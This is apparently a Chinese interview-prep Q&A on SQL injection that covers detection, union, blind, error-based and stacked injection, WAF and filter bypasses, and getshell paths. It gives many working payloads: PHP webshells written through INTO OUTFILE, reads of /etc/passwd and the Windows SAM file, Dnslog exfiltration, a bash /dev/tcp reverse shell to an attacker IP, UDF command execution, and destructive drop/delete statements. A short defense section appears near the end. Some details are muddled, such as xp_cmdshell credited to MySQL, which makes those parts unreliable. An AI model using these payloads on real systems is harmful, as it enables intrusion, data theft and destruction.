1. 什么是 SQL 注入?
SQL 注入(SQL Injection)是一种常见的 Web 安全漏洞,指攻击者通过在用户输入中插入恶意 SQL 语句,使后端数据库将其当作合法 SQL 代码执行,从而实现非法访问、篡改或删除数据库数据,甚至控制服务器的攻击方式。其本质是用户输入未被严格过滤 / 验证,直接拼接进入 SQL 查询语句。
2. SQL 注入的原理是什么?
原理核心:用户可控输入被当作 SQL 代码的一部分执行。 当应用程序将用户输入(如 URL 参数、表单数据、HTTP 头)直接拼接进 SQL 语句,且未做过滤或转义时,攻击者可构造恶意输入(如单引号、逻辑运算符)改变 SQL 语句的原有逻辑。 例如:正常查询为select * from news where id='1'
,若用户输入1' or '1'='1
,拼接后语句变为select * from news where id='1' or '1'='1'
,导致查询返回所有数据。
3. 如何判断一个网站是否有 SQL 注入点?
可通过以下步骤初步判断(以http://test.com/news?id=1
为例):
-
参数篡改测试:修改参数值,如
id=1'
(加单引号),观察是否返回 SQL 语法错误(如 “you have an error in your SQL syntax”); -
逻辑判断测试:对比
id=1 and 1=1
(正常响应)和id=1 and 1=2
(无响应或异常),若结果不同,可能存在注入; -
排序测试:用
id=1 order by 1
(正常)、id=1 order by 10
(异常),通过响应变化判断查询列数,若列数异常时出错,可能存在注入; -
联合查询测试:用
id=1 union select 1,2,3
,若返回 “2”“3” 等数字,说明注入点可利用。
4. SQL 注入的危害有哪些?(含利用方式)
SQL 注入危害极大,主要包括:
-
数据库信息泄露:通过注入获取数据库结构(表名、字段名)、敏感数据(账号密码、个人信息),例如
union select username,password from users
; -
数据篡改 / 删除:通过
update
/delete
语句修改或删除数据,例如id=1; delete from users where id=2--
; -
服务器权限获取:若数据库用户权限足够,可通过
load_file()
读取服务器文件(如select load_file('/etc/passwd')
),或通过into outfile
写入 Webshell(如select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/shell.php'
); -
拒绝服务:通过复杂查询或删除关键表(如
drop table users
)导致服务不可用; -
内网渗透:利用数据库权限进一步攻击内网(如通过数据库连接内网其他主机)。
5. 宽字节注入原理是什么?(含产生原理、条件、解决办法)
产生原理
宽字节注入是因数据库使用宽字节编码(如 GBK、GB2312)且输入被转义导致的漏洞。
-
宽字节编码(如 GBK)用 2 个字节表示一个字符,范围为
0x81-0xFE
(高字节)+0x40-0xFE
(低字节); -
应用通常会对用户输入的特殊字符(如单引号
'
)转义,例如将'
变为\'
(\
的 ASCII 码为0x5c
); -
若攻击者输入一个高字节字符(如
0xbf
),则0xbf
+0x5c
(转义符)会被 GBK 解析为一个合法字符 “縗”,导致转义失效,单引号'
被保留,从而注入成功(如id=1%bf' or 1=1--
)。
条件
-
数据库使用宽字节编码:如 GBK、GB2312(每个字符占 2 字节);
-
输入被转义处理:特殊字符(如
'
)被转义为\'
(\
的 ASCII 码为0x5c
);
解决办法
-
使用 UTF-8 编码(非宽字节,避免宽字节解析问题);
-
禁用数据库的宽字节自动转换(如 MySQL 的
SET NAMES 'gbk'
可能触发,需改为SET character_set_client=binary
); -
采用参数化查询(彻底避免拼接 SQL)。
6. MySQL 的网站注入,5.0 以上和 5.0 以下有什么区别?
MySQL 5.0 以上与以下版本的注入差异主要体现在系统数据库和功能支持:
特性 | MySQL 5.0 以下 | MySQL 5.0 以上 |
---|---|---|
系统数据库 | 无information_schema 库 |
有information_schema 库(存储所有表 / 字段信息) |
注入信息获取方式 | 需暴力猜解表名 / 字段名(如users 、admin ) |
可通过information_schema.tables 直接查询(如select table_name from information_schema.tables ) |
子查询支持 | 部分版本不支持复杂子查询 | 支持子查询(如select (select username from users limit 1) ) |
7. Dnslog 注入需要的条件是什么?
Dnslog 注入是盲注(无回显)场景下的一种带外数据获取方式,核心是通过 DNS 解析日志获取注入结果,条件如下:
-
目标服务器可访问外部网络:需能向攻击者控制的 DNS 服务器发起解析请求;
-
注入点支持执行带外查询:例如能执行
load_file()
(读取远程文件触发 DNS 解析)或select ... into outfile
(写入远程路径); -
攻击者拥有可控 DNS 服务器:需能记录 DNS 解析日志(如使用
Dnslog.cn
等平台)。
举例:id=1' and (select load_file(concat('\\\\',(select database()),'.xxx.Dnslog.cn\\a')))--
,其中(select database())
的结果会作为子域名被解析,攻击者通过 DNS 日志获取数据库名。
8. SQL 写入 webshell 的方法是什么?
写入 Webshell 的核心是通过 SQL 语句将恶意代码写入网站可访问的路径,步骤如下:
-
确认条件:
-
数据库用户有
FILE
权限(select file_priv from mysql.user where user=current_user()
返回Y
); -
已知网站绝对路径(如通过错误信息、配置文件或爆破获取);
-
secure_file_priv 未限制:
-
secure_file_priv
为NULL
:不允许导入导出; -
secure_file_priv
为指定文件夹:仅允许在该文件夹操作; -
secure_file_priv
为空:允许任意路径读写(漏洞利用的必要条件)。
-
-
-
写入语句: 以 MySQL 为例,使用
into outfile
:-- 直接写入PHP一句话 select '<?php @eval($_POST["cmd"]);?>' into outfile '/var/www/html/shell.php' -- 若特殊字符被过滤,用十六进制编码 select 0x3c3f70687020406576616c28245f504f53545b22636d64225d293b3f3e into outfile '/var/www/html/shell.php'
9. SQL 注入常见的类型有哪些?
按利用手法:
-
联合注入(
union select
):通过union
拼接查询,直接获取数据; -
盲注(布尔盲注 / 时间盲注):无回显时,通过逻辑判断(
and 1=1
)或延时(and sleep(5)
)猜解数据; -
报错注入:构造语句触发数据库错误,从错误信息中提取数据(如
extractvalue(1,concat(0x7e,(select database()),0x7e))
); -
堆叠注入:用分号分隔多条 SQL 语句(如
id=1; drop table users--
); -
二次注入:输入先被存储(如注册时输入
admin'#
),后续被读取时触发注入(如登录时拼接为select * from users where username='admin'#'
); -
宽字节注入:利用宽字节编码绕过转义(如 GBK 编码下
%bf'
被解析为合法字符,单引号生效)。
10. 什么是盲注(Blind SQL Injection)?
盲注是指注入点无明确错误回显(如只返回 “成功 / 失败” 或固定页面),需通过间接判断获取数据的注入方式,分为两种:
-
布尔盲注:通过逻辑表达式的真假判断结果,步骤:
-
猜解长度:
id=1' and length(database())>5--
(若响应正常,说明长度 > 5); -
逐字符猜解:
id=1' and substr(database(),1,1)='a'--
(通过响应是否正常判断首字符是否为a
)。
-
-
时间盲注:通过延时函数(如
sleep()
)的执行结果判断,步骤:-
触发延时:
id=1' and if(substr(database(),1,1)='a',sleep(5),0)--
; -
观察响应时间:若延迟 5 秒,说明首字符为
a
。
-
提高效率的方法:用ASCII码二分法(如判断字符是否在a-m
或n-z
)、编写脚本自动化猜解。
11. UNION 联合注入是什么?
UNION 注入利用UNION
操作符(合并两个查询结果)获取数据库信息,条件是前后两个查询的列数相同、数据类型兼容。
步骤:
-
判断列数:
id=1 order by 3--
(正常)、id=1 order by 4--
(异常),确定列数为 3; -
找到显位:
id=1' union select 1,2,3--
,若页面显示 “2”“3”,说明第 2、3 列是显位; -
获取信息:在显位中插入查询语句,如
id=1' union select 1,database(),version()--
,获取数据库名和版本。
12. 报错注入(Error-based)的原理是什么?
报错注入是通过构造特殊 SQL 语句,使数据库返回包含敏感信息的错误提示,原理是利用数据库报错机制将查询结果嵌入错误信息。
13. 二次注入(Second-order)是什么?
二次注入是指恶意输入先被 “安全存储”,后续被读取时未重新过滤,导致注入执行的攻击方式,流程如下:
-
注入存储阶段:攻击者输入恶意内容(如注册用户名
admin'#
),应用对输入进行转义(如admin\'#
)后存入数据库; -
注入触发阶段:后续操作读取该数据(如查询用户信息),应用直接拼接 SQL(
select * from users where username='admin\'#
),但存储的转义符可能被忽略(如数据库存储时自动去除\
),导致语句变为select * from users where username='admin'#
,注释掉后续内容,实现注入。
14. 堆叠注入的原理是什么?
堆叠注入(Stacked Injections)利用 SQL 语句支持批量执行的特性,通过分号;
分隔多条语句,使后端一次性执行,原理:
-
多数数据库(如 MySQL、SQL Server)支持用
;
分隔多条 SQL 语句(如select * from users; delete from logs;
); -
若应用未限制语句数量,攻击者可在注入点后拼接额外语句(如查询 + 删除 + 写入)。
举例:id=1'; drop table users;--
,执行后会先查询id=1
,再删除users
表。
限制:部分数据库(如 Oracle)或应用框架(如 PDO)默认禁止堆叠执行,仅支持单条语句。
15. 如何提高手工盲注的效率?
手工盲注效率较低,可通过以下方法优化:
-
Dnslog快速查询:需要执行 mysql 的 load_file 函数和 UNC 路径,但是 UNC 路径只能在位于 Windows 上运行;
-
二分法猜解:例如猜解字符时,先判断是否大于
m
(中间值),缩小范围(如substr(xxx,1,1)>'m'
); -
二进制延迟注入:通过二进制位运算逐位判断数据(如字符的 ASCII 码);
16. MySQL 报错函数用过有哪些?
MySQL 中常用的报错函数及用法如下:
函数 | 作用场景 | 示例语句 |
---|---|---|
extractvalue() |
XPath 表达式错误触发报错 | extractvalue(1, concat(0x7e, (select user()), 0x7e)) |
updatexml() |
同extractvalue ,XPath 错误 |
updatexml(1, concat(0x7e, (select database()), 0x7e), 1) |
floor(rand(0)*2) |
分组查询时主键重复错误 | select count(*), concat((select version()), floor(rand(0)*2))x from users group by x |
exp() |
数值溢出错误(仅 MySQL 5.5 及以下) | exp(710) (exp(710) 超过浮点数上限)+ 子查询 |
17. SQL (关系型数据库) 与 NoSQL (非关系型数据库) 的区别?
维度 | 关系型数据库(SQL) | 非关系型数据库(NoSQL) |
---|---|---|
数据模型 | 基于表结构(行 + 列),需预定义 schema | 灵活模型(文档、键值、图等),无需预定义 |
代表数据库 | MySQL、SQL Server、Oracle | MongoDB(文档)、Redis(键值)、Neo4j(图) |
查询语言 | 标准 SQL(结构化查询) | 非结构化查询(如 MongoDB 的find() ) |
事务支持 | 支持 ACID 特性(原子性、一致性等) | 多数不支持强事务(如 Redis),部分支持(如 MongoDB 4.0+) |
扩展性 | 垂直扩展为主(升级硬件) | 水平扩展为主(增加节点) |
适用场景 | 结构化数据、强事务需求(如银行) | 非结构化数据、高并发读写(如电商日志) |
18. 简述数据库的存储引擎?
存储引擎是数据库管理数据的底层软件,负责数据的存储、索引、事务等操作。以 MySQL 为例,常见存储引擎及特点:
-
InnoDB(默认):
-
支持事务(ACID)、行级锁、外键约束;
-
适合高并发写操作(如订单系统)。
-
-
MyISAM:
-
不支持事务和行级锁,支持表级锁;
-
查询速度快,适合读多写少场景(如博客)。
-
-
Memory(Heap):
-
数据存储在内存中,速度极快;
-
重启后数据丢失,适合临时数据(如缓存)。
-
-
Archive:
-
压缩存储,仅支持插入和查询;
-
适合归档数据(如日志)。
-
19. MySQL 一个 @ 和两个 @ 什么区别?
-
单 @:表示用户变量(自定义变量),作用域为当前会话,需手动赋值:
set @var = 1; -- 赋值 select @var; -- 输出1
-
双 @@:表示系统变量(数据库预定义变量),存储数据库配置信息(如版本、路径):
select @@version; -- 输出MySQL版本(如8.0.30) select @@datadir; -- 输出数据存储路径(如/var/lib/mysql/)
20. SQL 注入过滤了逗号,怎么处理?
逗号(,
)常用于分隔参数(如substr(a,1,1)
、limit 1,2
),过滤后可通过以下方式替代:
-
substr()
用substring()
+from for
:substr(username,1,1)
→substring(username from 1 for 1)
-
limit m,n
用limit n offset m
:limit 1,2
→limit 2 offset 1
-
union select 1,2,3
用union select 1/\*!\*/2/\*!\*/3
(利用注释/\*!\*/
分隔) -
函数参数用括号嵌套:
concat(1,2)
→concat(1/*!*/,2)
(通过注释绕过逗号检测)
21. sleep 被禁用后还能怎么进行 SQL 注入?(含延时注入)
方法 | 原理 | 示例 Payload | 适用场景 | 依赖条件 |
---|---|---|---|---|
benchmark() | 重复执行高计算量表达式消耗时间 | id=1' AND IF(1=1, BENCHMARK(1000000, MD5(0x41)), 1) --+ |
所有盲注场景 | 数据库未禁用 benchmark 函数 |
笛卡尔积查询 | 通过多表连接生成大量数据增加查询耗时 | id=1' AND (SELECT COUNT() FROM information_schema.columns A, information_schema.columns B, information_schema.tables C) > 0 --+ |
存在系统表可利用 | 需知道表结构 |
RLIKE 长字符串 | 匹配超长字符串或复杂正则表达式消耗 CPU 资源 | id=1' AND RPAD('a', 1000000, 'a') RLIKE 'a' --+ |
布尔盲注 | 数据库支持 RLIKE 操作符 |
load_file() | 尝试读取不存在的大文件或网络路径产生 IO 延时 | id=1' AND LOAD_FILE('/dev/null') IS NULL --+ |
有 FILE 权限 | 数据库未禁用 load_file 函数 |
get_lock() | 通过获取同名锁实现阻塞等待 | id=1' AND GET_LOCK('sql_injection', 5) --+ |
支持锁机制的数据库 | 需知道锁名称规则 |
floor()+rand() | 利用 GROUP BY 和 RAND () 组合触发错误并产生延时 | id=1' AND (SELECT 1 FROM (SELECT COUNT(), CONCAT(FLOOR(RAND(0)2), (SELECT user())) x FROM information_schema.tables GROUP BY x) --+ |
报错注入场景 | 需允许子查询 |
repeat() | 生成超长字符串消耗内存和 CPU 资源 | id=1' AND LENGTH(REPEAT('a', 1000000)) > 0 --+ |
简单条件判断 | 字符串处理函数未被限制 |
22. 发现 test?id=1 的注入点,有哪些思路去 getshell?优先级是怎样的?
GetShell 思路及优先级(从易到难):
-
直接写入 Webshell(最高优先级): 若满足文件写入条件并知晓网站根目录,直接用
into outfile
写入,如:id=1' union select 1,'<?php eval($_POST[cmd]);?>' into outfile '/var/www/shell.php'--
-
利用数据库扩展执行命令:
-
MySQL:若开启
xp_cmdshell
(需高权限),执行id=1'; exec master..xp_cmdshell 'echo "<?php ... ?>" > C:\shell.php'--
; -
SQL Server:类似,通过
xp_cmdshell
写入。
-
-
读取配置文件获取权限: 若无法直接写入,读取数据库密码(
select password from mysql.user
)、Web 配置文件(如select load_file('/var/www/config.php')
),进一步爆破服务器登录权限。 -
反弹 Shell: 若服务器支持命令执行,通过
bash -i >& /dev/tcp/攻击IP/端口 0>&1
等命令反弹 Shell。
23. SQL 注入存在时,怎么判断是什么数据库?
通过以下特征区分数据库类型:
特征 | MySQL | SQL Server | Oracle |
---|---|---|---|
错误信息 | 含 “MySQL syntax error” | 含 “SQL Server error” | 含 “ORA-xxxx” |
特有的系统表 | information_schema.tables |
sysobjects |
user_tables |
特有的函数 | version() |
@@version |
banner (需sys.v_$version ) |
注释符 | -- 、# |
-- 、/* */ |
-- 、/* */ |
测试语句 | select 1 from dual (不支持 dual,用select 1 ) |
select 1 |
select 1 from dual |
24. SQL 头注入点是什么?
SQL 头注入是指注入点位于 HTTP 请求头中(非 URL / 表单参数),攻击者通过修改 HTTP 头字段注入恶意 SQL 代码,常见头字段:
-
User-Agent
:浏览器标识; -
Referer
:请求来源页; -
Cookie
:用户身份标识; -
X-Forwarded-For
:客户端 IP。
举例:若应用将User-Agent
存入数据库时未过滤,修改User-Agent: ' or 1=1--
,可能导致查询变为insert into logs values('' or 1=1--', ...)
,触发注入。
25. 你知道哪些可以用来代替空格?
-
URL 编码空格替代符
编码 | 说明 | 示例 |
---|---|---|
%20 | 标准 URL 空格编码 | SELECT%20*%20FROM%20users |
%0a | 换行符(ASCII 10) | SELECT%0a*%0aFROM%0ausers |
%0b | 垂直制表符(ASCII 11) | SELECT%0b*%0bFROM%0busers |
%0c | 换页符(ASCII 12) | SELECT%0c*%0cFROM%0cusers |
%0d | 回车符(ASCII 13) | SELECT%0d*%0dFROM%0dusers |
%a0 | 不间断空格(HTML 实体) | SELECT%a0*%a0FROM%a0users |
-
SQL 注释符替代空格
符号 | 说明 | 示例 |
---|---|---|
/**/ | 多行注释符 | SELECT/**/*/**/FROM/**/users |
–+ | 单行注释(需结尾) | SELECT--+*--+FROM--+users |
# | 单行注释(MySQL 专用) | SELECT#*#FROM#users |
-
特殊操作符与关键字替代
方式 | 说明 | 示例 |
---|---|---|
<> | 不等于操作符 | SELECT<>*<>FROM<>users |
() | 括号包裹表达式 | SELECT(USER())FROM(users) |
+ | 加法操作符(仅数字类型) | SELECT+1+FROM+users |
26. MySQL 注入常用函数有哪些?
按功能分类:
-
信息获取函数:
-
version()
:数据库版本; -
database()
:当前数据库名; -
user()
:当前登录用户; -
load_file(path)
:读取服务器文件(如load_file('/etc/passwd')
)。
-
-
字符串处理函数:
-
substr(str, pos, len)
:截取字符串(如substr('abc',1,2)='ab'
); -
concat(str1, str2)
:拼接字符串(如concat('user:', username)
); -
hex(str)
:转为十六进制(绕过单引号过滤)。
-
-
条件判断函数:
-
if(condition, true, false)
:条件判断(如if(1=1, 'yes', 'no')
); -
case when condition then a else b end
:多条件判断。
-
-
系统操作函数:
-
into outfile path
:写入文件; -
sleep(sec)
:延时函数(盲注)。
-
27. WAF(Web 应用防火墙)如何防御 SQL 注入?有哪些绕过方法?
WAF 防御方式
-
规则匹配:拦截含
union
、select
、'
等关键词的请求; -
输入验证:检查参数格式(如数字型参数只允许数字);
-
行为分析:识别异常请求频率或模式(如大量
and 1=1
尝试); -
预编译检测:拦截未使用参数化查询的请求。
绕过方法
-
关键词变形:
-
大小写混淆:
Union Select
、sElEcT
; -
拆分关键词:
sel/**/ect
、uni%0on
(换行分隔);
-
-
编码转换:
-
URL 编码:
select
→%73%65%6C%65%63%74
; -
Unicode 编码:
'
→%u0027
; -
十六进制编码:
'
→0x27
; -
Hex编码
-
-
利用注释:
select/*abc*/username from/*123*/users
; -
特殊符号替代:空格→
%09
、=
→<>
(部分场景); -
分块注入:将长语句拆分,如
id=1' and (select 1)=(select 2) or (select 'a')='a--
。
28. 如何判断目标网站是否存在堆叠注入?
判断方法:通过拼接多条语句观察响应变化,步骤:
-
构造无害测试语句:在注入点后加
;
和简单查询,例如:id=1'; select 1--
(MySQL)、id=1'; select 1 from dual--
(Oracle)。 -
观察响应:
-
若响应无异常(或与
id=1
相同),可能不支持堆叠; -
若响应异常(如错误信息、内容变化),可能支持堆叠。
-
-
进一步验证:用写操作测试(如创建临时表):
id=1'; create table test(id int)--
,若后续查询test
表存在,则确认支持。
29. SQL 注入写 webshell 时如何判断是高权限?
高权限指数据库用户拥有root
(MySQL)、sysadmin
(SQL Server)等权限,判断方法:
-
查询用户权限表:
-- MySQL SELECT file_priv, super_priv FROM mysql.user WHERE user=current_user(); -- file_priv=Y 表示可读写文件,super_priv=Y 表示可修改全局配置 -- SQL Server SELECT IS_SRVROLEMEMBER('sysadmin'); -- 返回1表示系统管理员
-
验证敏感表访问权限
-- 若能查询mysql.user表,说明权限较高 SELECT COUNT(*) FROM mysql.user; -- 无回显场景下用时间盲注 id=1' AND IF((SELECT COUNT(*) FROM mysql.user)>0, SLEEP(5), 0)--
-
读取敏感文件
-- Linux SELECT LOAD_FILE('/etc/passwd'); -- 成功读取则为高权限 -- Windows SELECT LOAD_FILE('C:\Windows\System32\config\SAM');
-
写入 Webshell 测试
-- 尝试写入到Web目录 SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'; -- 验证:访问http://target/shell.php?cmd=id -- 若返回uid=0(root),则为最高权限
-
系统命令执行能力
-- 通过UDF(用户定义函数)执行系统命令 CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so'; SELECT sys_exec('id'); -- 需root权限
30. –os-shell 的原理是什么?
--os-shell
是 SQLMap 工具中的一个功能,用于在高权限下通过数据库执行系统命令并获取交互式 Shell,原理如下:
-
前提条件:
-
数据库用户有
FILE
权限和命令执行权限(如 MySQL 的xp_cmdshell
、PostgreSQL 的COPY
); -
已知网站绝对路径。
-
-
执行流程:
-
工具自动判断数据库类型,生成对应脚本(如 PHP、ASP);
-
通过
into outfile
等语句将脚本写入 Web 目录; -
访问脚本建立与攻击者的交互,实现命令执行(如
ls
、whoami
)。
-
31. 如何获取网站的根目录?
获取网站根目录的常用方法:
-
错误信息泄露:故意输入错误参数(如
id=1'
),若报错信息含路径(如/var/www/html/index.php on line 10
),直接获取; -
读取配置文件:
-
Apache:
select load_file('/etc/httpd/conf/httpd.conf')
(找DocumentRoot
); -
Nginx:
select load_file('/etc/nginx/nginx.conf')
(找root
字段);
-
-
爆破常见路径:基于操作系统猜测(如 Linux:
/var/www/
、/usr/share/nginx/html/
;Windows:C:\xampp\htdocs\
、D:\www\
); -
利用框架特性:如 PHP 的
phpinfo()
页面会显示DOCUMENT_ROOT
(若能注入触发phpinfo()
)。
32. 非 SQL 数据库是什么?
非 SQL 数据库即 NoSQL(Not Only SQL)数据库,是一类不遵循关系模型的数据库,特点是灵活的数据结构、高扩展性、适合非结构化数据,常见类型:
-
文档型:MongoDB(存储 JSON-like 文档,如电商商品信息);
-
键值型:Redis(以键值对存储,用于缓存、计数器);
-
列族型:HBase(适合海量数据存储,如日志);
-
图数据库:Neo4j(存储节点和关系,如社交网络关系)。
NoSQL 注入与 SQL 注入不同,通常利用查询语法漏洞(如 MongoDB 的$where
注入:username[$ne]=1
绕过登录)。
33. 如何用浏览器快速判断是否存在 SQL 注入(目标 URL 为 http://test.com/news?id=1)?
通过浏览器修改参数观察响应,步骤:
-
单引号测试:在 URL 后加
'
,即http://test.com/news?id=1'
,回车后观察:-
若页面显示 SQL 语法错误(如 “you have an error in your SQL syntax”),可能存在注入;
-
若页面空白或报错 “500 Internal Server Error”,可能存在注入。
-
-
逻辑判断测试:
-
访问
id=1 and 1=1
(正常响应,与原页面一致); -
访问
id=1 and 1=2
(响应异常,如空白、内容变化),若两者差异明显,可能存在注入。
-
-
联合查询测试:访问
id=1 union select 1,2,3
,若页面显示 “2”“3”,说明注入点可利用。
34. SQL 注入的防御措施有哪些?
-
参数化查询:使用预编译语句(如 PHP 的 PDO:
$stmt = $pdo->prepare("select * from users where id=?")
),彻底避免拼接 SQL; -
输入验证:严格限制输入格式(如数字型参数只允许
0-9
,字符串型用白名单过滤); -
最小权限原则:数据库用户仅赋予必要权限(如
SELECT
),禁用FILE
权限和xp_cmdshell
; -
错误信息屏蔽:生产环境关闭详细错误提示(如 PHP 的
display_errors=Off
); -
WAF 部署:使用 Web 应用防火墙拦截常见注入特征;
-
定期审计:通过工具(如 SQLMap)扫描漏洞,修复代码缺陷。
35. MySQL 文件上传利用步骤
1. 确认数据库权限与配置
-
检查当前用户权限
SHOW GRANTS; -- 需返回包含 FILE 权限(如 "FILE ON . TO 'root'@'localhost'")
-
查看 secure_file_priv 配置
SHOW VARIABLES LIKE 'secure_file_priv'; -- 若结果为 NULL:不允许导入导出 -- 若结果为空字符串(""):无路径限制(可利用) -- 若指定目录(如 /tmp/):仅允许在该目录操作
-
获取网站根路径(需结合环境猜测或其他漏洞)
SELECT @@basedir; -- MySQL 安装路径 SELECT @@datadir; -- 数据文件路径
2. 写入 Webshell 文件
利用高权限将恶意代码写入网站根目录,示例(需替换为实际路径):
-- 写入一句话木马(PHP)
SELECT '<?php @eval($_REQUEST[shell]);?>' INTO OUTFILE 'D:/phpstudy_pro/WWW/shell.php';
-- 写入包含系统命令执行的木马
SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/html/cmd.php';
3. 验证上传成功
访问上传的文件,若能执行命令则漏洞利用成功:
-
访问路径:
http://目标IP/shell.php?shell=phpinfo()
-
预期结果:返回 PHP 环境信息或命令执行结果(如
http://目标IP/cmd.php?cmd=whoami
返回当前用户)。
35. 什么情况下使用 Dnslog 注入?
目标信息无法回显,如果能发送请求,就可以尝试一下,用Dnslog来获取回显,比如说:挖到一个有SQL盲注的站点,可是用sqlmap跑需要频繁请求,最后导致ip被ban;发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞就可以尝试Dnslog盲注。 以下这些常见都可以尝试Dnslog注入:
-
SQL注入中的盲注
-
XSS盲打
-
无回显的命令执行
-
无回显的SSRF
-
无回显的XXE(Blind XXE)
36. GPC 是什么?GPC 之后怎么绕过?
-
GPC:即
magic_quotes_gpc
,是 PHP 的配置项(PHP 5.4 后移除),作用是自动对 GET、POST、COOKIE 中的特殊字符(单引号'
、双引号"
、反斜杠\
等)添加反斜杠\
转义,试图防止 SQL 注入。 -
绕过方法:
-
宽字节注入:若目标使用 GBK 编码,输入
%df'
(单引号),GPC 会转义为%df\'
,但%df\
在 GBK 中是一个宽字节,导致单引号'
逃逸,形成有效注入。 -
编码绕过:对特殊字符 URL 编码(如
'
编码为%27
),部分场景下 GPC 不处理编码后的字符。 -
利用未过滤参数:GPC 不处理
$_SERVER['REQUEST_URI']
-